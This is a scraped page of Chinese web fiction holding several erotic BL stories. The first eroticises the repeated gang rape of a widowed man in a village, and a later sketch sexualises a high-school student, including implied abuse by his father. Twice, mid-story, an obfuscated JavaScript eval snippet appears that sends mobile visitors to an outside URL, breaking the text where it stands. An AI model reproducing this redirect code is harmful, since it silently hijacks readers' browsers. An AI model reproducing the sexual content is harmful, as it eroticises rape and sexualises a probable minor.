楼玉书性子温吞，虽是个读书人，却并没有清高之气，说话做事都是温温柔柔的。但他力气小，肩不能提手不能抗，周弋就帮他把活儿都干了。 楼玉书起初还觉得不好意思，跟在人身后倔强地要自己做，结果下地不久就被晒得大脑发晕，差点一头栽到镰刀上，还是一直关注着他的周弋将人抱住，才免于血光之灾。 楼玉书靠在他宽厚的胸膛小声喘气，恢复过来后，看这两人几乎贴紧的距离，蓦地红了脸。 他皮肤白，一点红就格外显眼，像是傍晚时分的彩霞，好看极了，周弋一时看出了神。 周围有不少人都盯着他呢，楼玉书赶紧拍拍他胳膊，让人把自己放开，垂着脑袋飞快跑到一旁的田垄上喝水。 周弋看着自己空荡荡的胳膊，没来由有些失落，又忍不住回想：怎么这么细？ 于是也不让楼玉书下地了，还变着花样给他做好吃的，村里的条件并不算太差，不少村民一周半月都能吃上一顿肉吃。周弋做的活多，工分攒的快，闲暇时还去后面的山林猎点小东西，悄摸着带去黑市卖。 周弋以前帮村子里解决过好几回野猪，野狼也打过几只呢，村长也就睁一只眼闭一只眼，没人举报。 周家天天飘出肉香。 不用做活，也不怎么动，楼玉书很快就长了肉，颊肉愈发饱满圆润，泛着珍珠似的光泽，不知道的还以为他不是下乡受苦，是享福来了。 但他即使胖了些，脸还是小小一张，一只手就能遮住，长得那些肉全堆在了腿臀处，躬身时紧绷绷的一道弧度，正在切菜的周弋一抬眼，直接把自己指甲削掉一块肉。 楼玉书哎呀一声，赶紧牵起他的手止血，着急地要找药，却没找到，周家只有一些跌打药酒和绷带。 周弋却没那么在意，满眼都是他那红艳艳的唇，饱满的，花瓣似的，见人着急，他直接抓了一把草木灰就要往伤口抹，被楼玉书瞪住了，最后还是乖乖被他牵着去了村口的卫生院包扎。 他手受了伤，楼玉书就自告奋勇，说想学着做菜，好减轻周弋的负担，他再三坚持，周弋就大胆让他干了，但还是帮忙切好了菜。楼玉书信心满满地忙活了一下午，最后端出几盘黑漆漆的不明物体。 楼玉书自己尝了尝，又苦又涩，觉得倒掉太浪费粮食，硬逼着自己往下咽，他脸上还沾着煤灰，小花猫似的。 周弋放下碗筷进入厨房，很快又端出一碗卧了蛋的阳春面，自己将桌上的菜全部倒在碗里吃光了。 他肠胃好，耐造，倒是给楼玉书担心得不行，生怕他吃坏肚子，跟在他屁股后面隔三差五就问他有没有不舒服。 周弋心思一动，问他：“要是我半夜不舒服怎么办？” 楼玉书眨巴眨巴眼，很认真道：“那今晚我跟你一起睡吧，你不舒服的话，我肯定会第一时间起床帮你叫大夫的。” 被周弋拒绝了。 开玩笑，楼玉书早在他梦里被灌大肚子好几回了，要是他跟自己睡一张床，半梦半醒之间他把人…… 最后还是打断了楼玉书深造厨艺的念头。 有他就够了，如果可以的话，他想给楼玉书做一辈子的好吃的。 3. 楼玉书胃口不大，周弋做了两个人的活，存下来的粮票更多了，他换了够吃的粮食，用布票换了布，拿去村口张大娘家里，给楼玉书做了好几身衣服。 还给他换了盒雪花膏。 村里干燥，楼玉书的脸虽然依旧白嫩，但还是起了些皮，香软滑腻的雪花膏很好地滋润了他的脸。 但楼玉书也知道这一般都是小伙子给媳妇儿换的，他心跳有些快，忍不住问：“周弋，为什么对我这么好啊？” 周弋还比他小三岁呢，却把他宠得跟个孩子似的，说出去都怕别人替他害臊。 周弋想都没想，脱口而出，“对你好还需要理由吗？” 说完，两人对视，齐齐红了脸。 一来二去间，暧昧横生。 楼玉书内敛，不敢戳破这层窗户纸，周弋做工时他就在窗边看，看得两颊生晕，等人回看时，就飞快收回视线，装作自己正在认真看书。 但颤抖的羽睫和泛红的耳垂还是暴露了他内心不宁的心绪。 周弋抬头就见心上人杏眼桃腮，面含春水的模样，这谁顶得住？ 天气燥热，他打着赤膊，下身只穿着一条长裤，又是个初哥，气血一激荡，直接就升了旗。 楼玉书恰好出来给他递毛巾，视线都不知道该往哪儿放了，羞得眸中水光潋滟，咬着唇悄悄并紧了腿。 周弋装作没注意到他的小动作，接过毛巾擦汗，又说自己后背够不到，要楼玉书帮他。 指尖隔着毛巾都被他身上的热度烫到，楼玉书垂着眼草草擦了几下，都没注意到周弋何时转过了身面对着他，那东西正正对上他的视线，还耀武扬威地跳了跳。 见他憋的难受，楼玉书不知怎的说出了口，“要不，我…我帮你吧。” 手心都红了，也没能帮他摸出来，最后被人一声声在耳边唤着“好哥哥”“玉书”，叫得他晕乎乎的软了身子，被人哄上床用了腿。 4. 从那日后，两人的关系就变了。 周家添置的物件越来越多，楼玉书爱洁，周弋就请人打了口井，又修缮了缺砖少瓦的屋顶，茅厕，最后修了个院子。 日子过的越来越好，但周弋总觉得委屈了楼玉书，下定决定要给他更好的，于是开始想办法挣钱，搭上了跑货车的路子。 这个年头跑货车可是份肥差，挣得越来越多，但周弋陪在楼玉书的时间却少了。 他出门在外不便照顾楼玉书，就专门花钱，一日三餐和洗衣都由隔壁的李婶代劳。 楼玉书无所事事，也跟其余来的几名知青一起办了所小学，教村里那些适龄的孩子。 就这么过了一年。 春花烂漫，他们在花丛中拥吻；炎炎烈日，他们在小溪边捕鱼玩水；秋高气爽，周弋给他烤香甜软糯的栗子；霜雪飘撒，他们躺在温暖的炕上紧紧相拥。 闲暇时，周弋带他去了不少地方，两人过得蜜里调油，还去镇上拍了照片充当结婚照。 楼玉书给父母写了信，专门提到了周弋，说周弋很照顾他，说他过得很好，请他们放心。 本以为可以一直这样幸福下去，可惜天不遂人愿，噩耗袭来。 是开大货车送货时遇上暴雨泥石流，车找到了，人却是尸骨无存，怎么也找不到，多半是没了。 前来吊唁的人不少，却没几个伤心的，眼神全往那可怜的小寡夫脸上身上瞟。 楼玉书胳膊系着条白巾，那小脸儿比胸前的纸花还要白，腰身伶仃那么一节，纤若嫩柳，靠在隔壁大哥的怀里，哭得站都站不起来。 他伤心极了，几日前的夜晚，周弋休假在家，一番云雨后，他还靠在老公怀里，想着给腹中的孩子取什么名字好。 对，他怀孕了，刚刚两月。 虽是上方，但他体质特殊，可以孕育生命。 周弋上次告诉他，他决定辞了开货车的工作，南下做生意，他是个有主见的，楼玉书自是什么都听他的，心里觉得周弋又靠谱又厉害，平时嫌害臊不让叫的称呼也叫出口了，什么老公、哥哥、当家的，被激动得起立的周弋又摁在炕上骑了。 他还想着不让周弋分心，就并未告知，但还未等他盼来周弋，却等到了人身死的消息。 那晚爽到失神前说出的那句“我爱你”，竟成了绝句。 5. 村里的气氛悄然变了。 以前有周弋护着，那些龌龊的心思没人敢捅到楼玉书跟前，只能对着他碰过的物件，写过的纸，闻着他的味道发泄。 但现在不一样了。 周弋死了，楼玉书成了寡夫，换句话说，这下人人都能插一脚了。 于是当晚，就有人摸黑进了楼玉书的院子。 楼玉书抱着周弋的衣服，幻想着自己还被他拥在怀中，睡得昏昏沉沉，还以为是他爱人回来了，本能地抬起手臂搂住那人的脖子，张开唇迎合，被吻到呼吸不过来。 “唔…周弋，你，你回来了。”他紧紧搂住身上的男人，小声啜泣，“你去哪儿了呀，他们，他们都说你死了……” 却没得到回复，男人粗糙的大掌顺着衣襟钻入，狎昵地揉了把，力度太大，楼玉书一个激灵，嘤咛出声，“轻…轻点呀。” 直到感觉身上的手越来越多，他才发现有哪里不对，猛地睁开眼，只见炕边围着好几道黑影，正虎视眈眈地看着他。 那是一双双垂涎得几乎疯魔的眼睛。 楼玉书惊恐地瞪圆眼眸，他想挣扎，呼救，但…… 四肢皆被禁锢，他无力逃脱。 周弋重y，在一起的时候，他敏感处都被周弋开发透了，此时不过摸了两下就软了身子。 被子掀开，带着周弋气味的衣物被毫不留情扔在床角，腰身抬起，衣物褪下，他条件反射夹了夹腿，又被毫不留情地分开。 吞咽声响起。 “草，这么…” “……你男人能满足你吗？” “你是不是早就想被我们……，嗯？早知道你是个…，老子还等得到今天……” 有人掐着他的…揉面团似地搓弄，“你男人才刚死，你个荡夫就在葬礼上跟人眉来眼去的，勾引人是吧，就这么离不得男人？那今天我们就替他好好教训你！” 不，不是的！ 他没有！ 楼玉书羞愤欲绝，拼命摇头，但浑身上下都被掌握，连脚踝都被捏住，踩在xx上。k感如浪般劈头盖脸朝他袭来，他两眼翻白，轻易地被人带着陷入不见天日的漩涡。 泪水不断从眼角滑落，他看不清骑在他身上那些人的脸，但听着他们粗重的喘息，他几欲心死。 月光透过窗棂洒入，恰好照在床头还摆着的结婚照上，他咬着唇不让自己发出声音，一边盯着周弋，尽力想象，在他身上作乱的都是周弋，仿佛只有这样，他被悲痛盈满的内心才能得到片刻喘息。 但是力度不一样，声音也不一样。 他做不到。 照片里，周弋侧眸看着楼玉书，脸上的表情幸福而柔软，而照片外的楼玉书看着周弋，神情惶然地，发出无声的呼救。 救我…… “啪嗒”一声，相框被人粗暴地压下。 楼玉书再也看不到了。 带着牙印吻痕的清瘦踝骨处，周弋给他系上的红绳金铃铛响了整整一晚。 6. 一夜荒唐。 腿，臀，腰，他身上没有一块好地，好在浑身清爽，污浊痕迹都被人洗去，还换了身衣服。 但裸露在外的雪白皮肉间，那些抹不去的青紫红痕，无一不昭示着他昨夜被人强，不，轮了的事实。 喉咙又肿又痛，楼玉书尽力支起身子，坐在炕上发了会儿呆。他昨晚哭的太厉害，又出来太多水，这会儿竟然一滴泪都没能流出来。 楼玉书就像是株失去水分的花，花瓣焉嗒嗒地垂着，向来水润的眼眸暗淡无光，布满血丝，长睫机械地眨动。 他愣了好一会儿，突然想起什么，转头望去，才发现床头摆着相框的位置，此时被一个搪瓷水杯占据着。 他蓦地慌了神，挪动身子靠近，又拉开抽屉，翻来覆去地找。 没找到。 赤裸的双脚接触地面，起身瞬间，楼玉书又栽倒下去，一屁股坐在地上。他用力捶了捶自己不争气的双腿，嘴唇颤抖几下，酸胀的眼眶再次蔓上水雾。 那是他和周弋的第一张，也是最后一张照片。 门外突然传来一声“哎哟”，是隔壁的李婶。 楼玉书有赖床的习惯，周弋走后，他就给了李婶小院的钥匙，让人能自由出入，李婶是个手脚麻利的，又善良朴实，两人都很放心。 “哎哟玉书啊，你怎么坐在地上，这多凉啊，快起来。” 李婶连忙进来将人扶起坐在床上，将床头的杯子端起递给楼玉书，“来，喝点水。” 楼玉书没接，扯了扯衣服将自己身上的痕迹遮住，问：“李婶，你……” “看你这嗓子哑得，不会是着凉了吧，快先喝点水润润，俺去给你煮些吃的。”李婶打断了他，将杯子直接塞进他的掌心，说，“小周那孩子是个命苦的，好不容易过上好日子了，这突然……唉，俺也心痛哩。” “俺知道你俩关系好，但他人走了，你日子还是要过的嘛，别难受坏了身子。你是知青嘞，迟早一天也是要离开这个伤心地的嘛。” 再次被提醒到周弋已逝这一事实，楼玉书抿着唇，心口还是一阵抽痛。 手中的杯子还是温的，说明那些人离开的时间并不久，他们…… “玉书，玉书？” 李婶在他眼前晃了晃，问：“给你煮个鸡蛋面成不？” 楼玉书想朝她笑笑，却发现自己好像连扯动嘴角的力气都没了，浑身疲惫，他深深吸了口气：“李婶，你昨晚……” 有些难以启齿，他攥紧拳头，咬着牙一字一句问：“有没有听到什么动静？” “我昨晚给小周烧了点纸钱就睡了，啥都没听到呢。”李婶清清嗓子，“怎么了？” 但楼玉书分明从她面上看到一丝慌乱。 他闭上眼睛，“没事，李婶你先回去吧，我想再躺会儿。” 说完，他没管站着的李婶，自顾自上了床，背对着她躺下。 凌乱的乌发下，雪白后颈被层层叠叠彰显着贪婪欲望的齿痕封印，刻骨铭心。 “那你饿着了就叫婶儿啊，婶儿给你煮。” 李婶叹了口气，摇着头出去了。 真是作孽啊。 楼玉书在床上躺了一天，却无半分睡意，只有浓郁的、即将叫他吞噬的倦意不断上涌，在黑暗中，他盯着窗外，突然很想就这么死去。 床单也是新的，那条被他洇湿，又沾染上其他男人气息的床单从他房中消失了，像是什么都没发生过一样。 但楼玉书只要一闭上眼，就是混乱的昨夜。 那些人是如何玩弄他的，每个细节他都记得清清楚楚，他居然头一次厌恶起了自己曾引以为傲的记忆力。 是不是做个傻子，就不会这么累了？楼玉书想。 他知道昨晚那些人都是谁。 他教过学生的哥哥，舅舅，曾对他表过白的木工家的小儿子，村头刘家那对双胞胎兄弟。 还有，昨天白日，一直默默站在他身后，在他软倒时第一时间扶住他的…… 隔壁李家的大儿子。 楼玉书从来没想过，他们居然会对自己起这般心思，他讽刺地笑了。 要说他足够幸运吗，这几个都不是有家室的人，至少免于他再被加上一个扰乱别人家庭的罪名，让他内心的道德枷锁没那么重。 但遭暴行的是他，他又有什么错呢？ 楼玉书不知道自己接下来该怎么办才好，这些人白日里对他关心至极，他将他们当作知心好友，可靠大哥对待，对他们送来读书的小辈也多有照料，却没想到换来的却是…… 他趴在床沿，呕得撕心裂肺，似是要将他五脏六腑都吐出去。 真的，好恶心。 他两日都没怎么吃东西，李婶送来的吃食尽数放在桌上，纹丝未动，只吐出了一些清水和酸液。楼玉书擦了擦嘴，捂着砰砰直跳的胸口，只觉得口鼻像是蒙了层沁湿的布，快要无法呼吸。 周弋死在了暴雨天，他想，会是一样的感受吗？ 双眸渐渐阖上，意识消散之际，小腹蓦然传来的刺痛如鼓槌一般猛地敲响，唤醒了他的神智，新鲜的微凉空气涌入鼻腔。 不，他不能死。 他肚子里还有他和周弋的孩子。 他要好好活下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513195|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深夜时分，楼玉书抱着周弋的衣物，疯了似的又哭又笑。 在无人知晓的夜里，周弋的未亡人又死去活来了一次。 7. 周弋不在了，无人再给李婶报酬，在楼玉书的再三坚持下，李婶不再继续为他提供生活上的照料。 他要学着自己养活自己，还有他们的孩子。 他一个人吃得简单，但手生，一开始做的不是半生就是糊锅，苦涩难以入喉，他也都吃下去了。后来熟能生巧，竟也做得像模像样，只是那纤细十指上烧烫伤，刀伤，若是周弋看到了，定会心疼得整宿睡不着觉。 但他不在了。 楼玉书计算着家里剩余的银钱粮票，周弋出行前说是要先进一批货看看，带走了大半，剩下的虽也够他花个一年半载的，但要养个孩子，还远远不够。 强打起精神上完课，楼玉书去村里开了副安胎药，是学徒帮忙煎的，他带回家喝了，喝完觉得自己好些了，开始尝试给自己煮点吃的。 其间那几人多次想要帮助，但楼玉书装作什么都没察觉的样子拒绝了，他并不想看到他们。 但当晚，他的院门再次被人打开。 像是看准了楼玉书第二日没有排课，男人们压着他，又是一夜荒唐。 翌日清醒过来，这次，他发现自己的接受程度居然比第一次时高了不少，但仍抱着痰盂吐了出来。 等他起来时发现，院中多了些米粮，还有些生活用品，楼玉书盯着这些东西，只觉得刺眼。 这算什么，嫖资吗？ 周弋的遗产还够他花，于是楼玉书把那些东西都扔了出去。 他换了锁，但没用，无论多么复杂的锁，都很快又被撬开；学着周弋教他的设了陷阱，见了血的男人却更狠了，他在恐怖的暴行中几欲濒死，眼球泛白，浑身湿漉，最后轻轻吹一口气，都能激起他的颤栗…… 也想过搬走一段时间，最远跑到了镇上，但刚在招待所住下，再次醒来时发现自己又回到了周家那张、周弋搂着他翻来覆去滚过，又被其他男人污染了的炕。 不是没想过揭发，但隔壁李家是村长的亲戚，而他能否合格，期满回家还得靠村长的评价。 楼玉书没办法了。 每当有男人夜晚进他的房间，第二天就会有嫖资出现。没错，他叫那些东西嫖资，第一次收下后，发现自己的良心并没有遭受到太多谴责，用起来也就更心安理得了。 毕竟，他不就是用自己的身体换的那些东西吗？ 有时他甚至还会苦中作乐地想，还好有这几个令人厌恶的男人日日纠缠，才能让他不再觉得周弋去后的夜晚冷得刺骨…… 多么讽刺啊。 白天，他看着牵着小孩来的、披着人皮的禽兽，笑意浅淡；夜晚，他又成了他们的雌兽，婉转啼鸣。 他瘦，并不显怀，米面粮油，鸡蛋肉糖源源不断流进他的院落，也只是小腹微隆。夜色是最好的伪装，男人们也只当他最近养胖了些，身上长了肉。 好在孩子也争气，天天坐船也没出事，没给他添负担。 只是z狠了时，楼玉书也会捂着小腹保护着，蹙眉让他们慢一些，自己受不住，也尽力不让孩子太难受。 但很快，这种欲盖弥彰的平静也被打破。 某日，楼玉书按照安排前往小学，去到教室才发现空无一人，他皱着眉头，找其他老师询问，人人却都移开了视线。 他不曾照过镜子，怕看到里面那张脸染上的陌生情绪，也就并未察觉他身上发生的变化。 愈发饱满的胸脯将衣领撑出丰盈弧度，走路时不自觉摆动的翘臀，依旧纤细的腰身，耳后若隐若现的红痕。 长了的头发被簪子挽起，从背后看去，俨然是□□一般的身型，包裹严实也挡不住的风情。 要说以前是沾了露珠的水仙，是皎皎明月，只可远观不可亵玩，现在则是熟透了的蜜果，沉甸甸的坠在枝头，惹人采撷。 最后去找了村长，这才明白是不让他继续任教了，也不用他做工，他会给楼玉书合格的评价，让他在家待着不要乱走动就行。 楼玉书自是不肯，追问深了些，村长叹了口气，话里话外都透露着一个意思：家长嫌他品行不端。 这是最委婉的说法了。 有伤风俗，该被烧死才好，这才是原话。 读了一辈子书，却换来这么个锥心蚀骨的评价，楼玉书都不知道自己是怎么回的家，再回过神来时，剪刀已经刺进了脖子，雪白颈项上留下一道刺目的红线。 只消一寸，就会刺入动脉。 但他刺不进去了。 楼玉书终于心死。 周家的大门再也没关上过，夜晚，男人们心照不宣地进入，又餍足地离去，而白日，院子里则会摆满各种嫖资，他有了喝不完的麦乳精，擦不完的雪花膏，留声机，自行车…… 而自从发现沿路遇见的三姑六婆在背后对他指指点点，李婶从帮他呛嘴回骂到沉默，送给她家刚生完小孩的二儿媳妇的几桶麦乳精也被扔回院中，尽数喂给了大地后，楼玉书就再也没出过门。 就这样，楼玉书被几人共同豢养在了他与亡夫的家中。 8. 日复一日，被浇灌久了，楼玉书整个人散发出别样的风情，一举一动都叫人脸红心跳，欲念横生。 他坐在院中的躺椅上看书，听到异响，挡住唇朝院外望去，眼波流转间勾魂夺魄，惹得悄悄跑来“禁区”看他的半大小伙子臊红了脸，顶着帐篷回家，被各自的娘提着脏了的床单，捏着他们的耳朵一通臭骂。 骂他们去哪儿不好，跑去看楼玉书那个狐狸精，骂他臊皮，连小娃娃都勾引。 楼玉书起初听到这些流言蜚语还会难受，时间久了也就麻木了。 他都快忘了上一次难过是什么时候了，也或许是他那日并未活过来，现在在这世上苟延残喘的，也就剩下他腹中的孩子 ，和这一副脏透了的躯壳。 熟透的果实只消轻轻一碰，就会立刻坠落在地，砸成一滩烂泥，又被苍蝇围绕着吞食殆尽。 他是那颗果子，那些男人们呢？ 楼玉书被自己的比喻逗笑了，轻哼出声，笑意却不达眼底。 他的肚子越来越大，藏不住了，恰好这时，同届下乡的知青家中有关系，悄悄送来了即将恢复高考的消息。 这的确是个好消息。 但楼玉书也知道，那些会在情事间，趁他高潮失神时悄悄打探他意愿的男人们，是不会放他离开的。 锁在这幅躯壳久了，灵魂也沾染上了污浊，他想，是时候该结束了。 于是他开始主动，却只对其中一人逢迎求欢，叫得柔媚婉转，“情到深处”时还会软软地唤他老公，被其他人碰时却反应平平。 平衡被打破，最先遭殃的自然就是那个得他“深爱”的男人，他被踢出战场，像是他们联手除掉周弋那般，将人驱逐出了村子。 但少了一个人自然不够。 狗咬狗，最后胜出的才能够讨得主人欢心。 他主动暴露自己怀孕的事实，隐瞒了年份与生父，于是（）事暂歇，轮番上阵变成了每晚只有一个男人进入房间。 搂着他的腰，不（）爱，只是将他抱在怀中，即使楼玉书无数次感觉如铁炙硬，也很快会被男人挪开。 但饱食过的身子根本受不得饿，他偶尔食欲上头，就会主动同一人．，抱着他的脑袋索取，又带着满身气息在第二夜时拒绝另一人。 就这样，在男人们强大的妒忌心下，一个又一个，接连出局。 当只剩下最后一人时，楼玉书自然地紧紧搂住他，哭喊道：“李大哥，我就知道是你。” 他说：“第一天晚上你碰我时我就知道是你了，其实……那天你扶我的时候，我就觉得你人好，想跟你亲近，但我害怕，怕你觉得我刚死了男人就喜欢上你，怕你觉得我是个水性杨花的，所以一直不敢反抗他们。” “现在……现在终于只剩下我们了。” 李琰身上还带着伤，被他一扑差点痛呼出声，很快就被他的话慑住，从惊讶到狂喜。 “真……真的？” “当然了。”楼玉书将脸埋在他怀中蹭了蹭，拉过他的手放在自己的小腹，孩子配合地踢了踢，“我算过时间了，是你的。” 农忙或是男人外出有事时，楼玉书也曾清净过一段时日，最多只有两人一起。 他尽力去想那些和周弋在一起时的美好时光，却悲哀地发现怎么都记不起来了，只能去想那些狂乱的（）爱。 脸颊泛起令人生津的红晕，楼玉书露出一道羞赧笑容：“李大哥，我有个秘密一直没有告诉你，我体质特殊，只有真心爱一人时，才会有孕，而现在……” 他惊呼一声，被欣喜若狂的男人高高举起，又紧紧搂在怀中。 “太好了玉书，我要做爸爸了！” 李家在镇上也有亲戚，楼玉书以孩子得在好点的环境出生的借口，哄着李琰拿到结业合格证后，搬去了镇上。 李琰经人介绍，找了份工资更高的工作，成日忙得脚不沾地，但只要一想起楼玉书，想起他那温柔的、泛着奶香的柔软身子、想着他肚子里自己的孩子，也就动力十足。 而楼玉书也趁着空闲，认真复习。 孩子出生的第五个月，楼玉书拿着大学证书，抱着孩子踏上了前往燕京的火车。 * 五年后，初雪时分，他牵着孩子在街头散步，陡然看到了那个只出现在他梦中过的身影。 “周……周弋？” “娘、哥哥，你在叫谁啊？” 楼玉书身形僵直，不敢置信地捂着唇，眼泪如断了线的珠子一般往下淌，被奔跑来的男人紧紧抱住。 “抱歉，我来晚了。” end. 8. 骄子富哥攻 想看那种“骄子”富哥攻，从小没见过妈妈，对他爸格外亲昵，什么都告诉他，最喜欢的就是被他抱在怀里，可惜他爸忙，往往几日才回家一次。 他爸在外是雷厉风行的霸总一枚，不苟言笑，总是冷着一张脸，但攻丝毫不怕他，每到他回家的时候，就会提前在客厅等他，任管家怎么劝也劝不回去。有时等到半夜三更，在沙发上睡着的攻儿被开门声吵醒，也只是揉揉眼睛，软软喊他。 “爸爸。” 伸手要抱，跟个树袋熊一样，挂他爸怀里就不松手了。 怎料上高中后被他爸放养，虽然钱从来不缺他，攻要什么礼物，说出口的第二日也总能送到家里，但跟攻见面的时间更少了，十天半个月都见不到一次。 此攻不知道自己做错了什么，又委屈又难过，正执青春期，为了吸引他爸的注意，开始叛逆，泡吧逃课打架样样不落。但就算被打电话请家长，来的都是他爸的秘书，最严重那次他将人打进了医院，跟他爸打电话，也是不冷不热的一句“会有人处理”。 此攻撒泼打滚装坏不成，就触底反弹了，想着他变乖了他爸肯定就会像以前一样宠他。于是新学期一开始，他一改往日的校霸做派，洗心革面要当个好学生。 奈何荒废了两年，他又天资平平，跟着老师完全学不进去，天天在学校听天书打瞌睡，请了好几个家教也不中用。他很努力在听了，最后的结局往往都是抱着枕头睡得天昏地暗。 正当他以为自己的“好学生计划”启动不到半月就要中道崩殂时，受转学来了。 受是个阿斯伯格综合症患者，高大苍白，比他爹还像个冰山，对除了学习以外的一切都不感兴趣，一来就霸占年级第一的位置，高居不下。 攻见他穿得普通，又天天吃食堂，以为他是特困生，动了心思，想用钱砸他让他帮自己补课，没想到数次被拒。 班上人本就因他冷漠的态度和特立独行的作风隐隐孤立受，只有攻跟他有些接触，而攻几次碰壁下来，看不惯他不说，也想摆烂了。但不久前他爸才“大发慈悲”跟他通了通电话，攻夸下海口说这学期末要考到年级前两百。 这下好了，摆也不是，不摆也不是，攻越想越心烦，有小男生来告白时半推半就答应了。 一次在器材室亲热时被受撞见，小男生脸皮薄，躲他背后不敢出声，攻一抹嘴，不耐烦道:“看什么看，没见过男的亲嘴啊。” 他长相俊美五官锋利，断眉薄唇戾气十足，一脸“识相点赶紧滚”的意味，没想到受像是完全看不懂他的不悦，点点头:“没见过。” 攻从他一向冷淡的嗓音中听出点好奇，嗤笑:“还要我再跟你表演一个不成。” 受又点头:“好。” “好个锤子，你脑子有毛病吧。” 攻懒得搭理他，攥住小男生手腕就要离开，擦肩而过时被受拦下。 攻一米八二大高个，他却比攻还高，垂眼时视线落在那湿红的唇上，就挪不动了。 他说:“我想看。” “想看自己上网搜去，滚！”攻狠狠一甩手，撞着他的肩膀带人走了，坏心思地关了门，反拧两圈将受锁在了里面，这才勾唇笑了笑。 “宝贝儿，来，给你。”他将钥匙扔进小男生怀里，“我还有事先走了，待会儿你记得放他出来啊。” “好，哥哥，明天见。” 待他走后，小男生收回痴迷的视线，恨恨回头看了眼紧锁的大门，将钥匙扔进了一旁的垃圾桶中。 器材室里一片昏暗。 受背对着门站在原地，缓慢地，抬手抚上了心口。 心跳的频率从每分钟76次提升到128次，受默默计算着，这种感觉，是他遇到无法一眼攻破的难题时才会有的。 但这次，他面对的对象却是人，一个不是泡在福尔马林里的灰白躯体，而是一个活生生的，会呼吸的人。 有点奇怪。 不知过了多久，他才从那种莫名的兴奋感中缓过神来，去拧门把手，拧不动。 他抬脚。 “哐———” 第二天，受站在攻面前，“我可以教你。” 他在器材室里待了整整六个小时，到家时已是凌晨两点，攻说让他上网搜，他搜了，面无表情地看了一整夜，终于确认了一件事——他只对攻的嘴巴感兴趣。 他想看这块肉染上更鲜艳的颜色。 攻还以为是自己的下马威有了成效，将原先提的补课费降了一半，受说不用给钱。 补课的报酬是接吻。 “你是gay？” “不是。” “那你要接…你不嫌恶心啊。” “没有感情，不能亲吗？” 攻皱着脸看了他好一会儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513196|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再□□问，确认他没在开玩笑，被他莫名其妙到的攻反而想撂挑子走人，最后想起今早管家爷爷鼓励的话，挣扎了下，提出试课一节的要求。 没想到这一听就听进去了，两页题做完，攻还有些恍惚，翻来覆去地对答案，嘿，真是神了。 看着旁边坐着的受，依旧是那副冷冰冰，无欲无求的性冷淡模样，攻想，亲就亲呗，反正也算是个帅哥，他都不嫌恶心，自己就更不嫌了。 能忍。 起初只是唇瓣相贴，一触即分，但很快，受越来越不满足于这种浅尝辄止的触碰，自发撬开齿关往里深入。 他体温很低，将攻压在椅子上时，攻只觉自己像是被一只冷冰冰的白蟒缠住蚕食，恐慌之余，心底却莫名生出一股隐秘的臣服。不对，他拼命推开受，喘了口气，在他又一次吻上来时，伸舌反客为主，试图让这直男见识一下什么叫真正的技巧。 没想到受学习能力惊人，实践更是，攻从游刃有余的逗弄到被他吻得气喘吁吁浑身发软，不过十分钟…… 而后受感兴趣的地方越来越多，攻的手腕，喉结，后颈凸起的骨节，汝..晕，小腹上那颗痣…… 而为了要从高一到高三的全科笔记，攻答应了受更多更过分的要求。 被人按在沙发上从背后（）腿时，眼前的一切都在晃，汗甩进眼睛里，攻眨了眨，有些涣散的瞳孔被刺激得聚了焦。 腿—心像是被一根铁杵不停穿凿，疼痛渐渐化为异样的酥养，昏昏沉沉中，攻想，为了成绩被人压着这样真的值得么？ 他恢复了些理智，咬唇抑住羞人的声音，猛地砸了两下受的后背让他起来，他不想弄了，结果被掰开（）肉一记猛（）. 他失声颤抖，受不住扭头看到桌上从一千四百名提升到五百多名的成绩单时，在受手臂上抓出几道血痕的手渐渐泄了力。 他的努力不会白费，等这学期结束，爹地一定会为他感到自豪的。 …… 此攻不资逗自己房间全是他爸安的摄像头喝喝喝，书房满满一抽屉他的照片，打球的，跟人亲吻的，被压在树干上吃汝的……嗯嗯一些伪父子鬼—父文学。 后来拿着成绩单兴冲冲跑进他爸房间，被借着醉酒中药的名义压在身下这样那样，是会想自己被爹（）了很恶心，还是想他终于成了个有用的孩子了呢？ 不得而知了。 9. 【养子观察实录】（上） 【养子观察实录】 楼主：匿名用户 主题：【养子观察实录，Day1】 第一天来到我家，很小一团，怯生生的，被我脸上的疤吓了一跳，我想对他笑笑，他哭了。 我确实不会养孩子，也不知道组织为什么把这个任务交给我。哄了一个多小时才把他哄睡，比杀人还累。 但他趴在我身上，很软，带着点奶香，感觉…… 也没那么累了。 ————————— 楼主：匿名用户 主题：【养子观察实录，Day37】 内容: 今天给他买了条蓝色的小裙子，蕾丝花边。他很漂亮，穿裙子也很好看，皮肤白，眼睛大，像个小公主。 对着我咯咯笑，很……可爱。 组织来信询问情况，我汇报了一切正常。实际上，我也不知道什么才算正常。我一个刀口舔血的人，现在每天想着怎么泡奶粉。 先写到这吧，水温40℃，不会再忘了。 ———————— 楼主：匿名用户 主题：【养子观察实录。Day410】 内容: 三岁多了，脾气见长。翻出以前的裙子给他看，他踩我的脚骂我“变态”。力气变大了点，鞋尖被他踩瘪了。 但给他买新裙子，他还是会穿，跑到我面前转圈圈。 把自己转晕了，磕到我的手臂，红了一大块。 笨蛋。 ———————— 楼主：匿名用户 主题：【养子观察实录。Day1825】 内容： 十岁生日。给他定了双层的巧克力蛋糕。吹蜡烛的时候，眼睛亮晶晶的。 